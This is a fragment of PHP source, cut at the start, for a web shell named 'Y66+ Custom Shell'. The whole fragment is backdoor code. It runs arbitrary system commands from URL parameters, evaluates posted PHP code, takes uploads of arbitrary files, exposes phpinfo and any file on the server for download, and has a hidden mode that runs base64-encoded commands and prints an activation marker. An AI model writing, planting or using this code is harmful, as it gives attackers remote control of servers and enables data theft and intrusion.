";
system($custom_cmd);
echo "";
exit;
}
if(isset($_GET['mode'])) {
switch($_GET['mode']) {
case 'cmd':
if(isset($_GET['cmd'])) {
echo "";
system($_GET['cmd']);
echo "";
}
break;
case 'eval':
if(isset($_POST['code'])) {
eval($_POST['code']);
}
break;
case 'upload':
if(isset($_FILES['file'])) {
move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']);
echo "Uploaded: " . $_FILES['file']['name'];
}
break;
case 'info':
phpinfo();
break;
case 'download':
if(isset($_GET['file'])) {
$file = $_GET['file'];
if(file_exists($file)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($file).'"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($file));
readfile($file);
exit;
}
}
break;
}
}
// Default interface
echo 'Y66+ Custom Shell';
echo 'Y66+ Custom Command Shell
';
echo '';
echo '
';
echo '';
echo '';
} else {
// Hidden mode - custom command execution
if(isset($_GET['custom'])) {
$cmd = base64_decode($_GET['custom']);
echo "Y66_CUSTOM_OUTPUT_START";
system($cmd);
echo "Y66_CUSTOM_OUTPUT_END";
exit;
}
if(isset($_GET['cmd'])) {
echo "Y66_OUTPUT_START";
system($_GET['cmd']);
echo "Y66_OUTPUT_END";
exit;
}
echo "Y66_SHELL_ACTIVE_82b89ace";
}
?>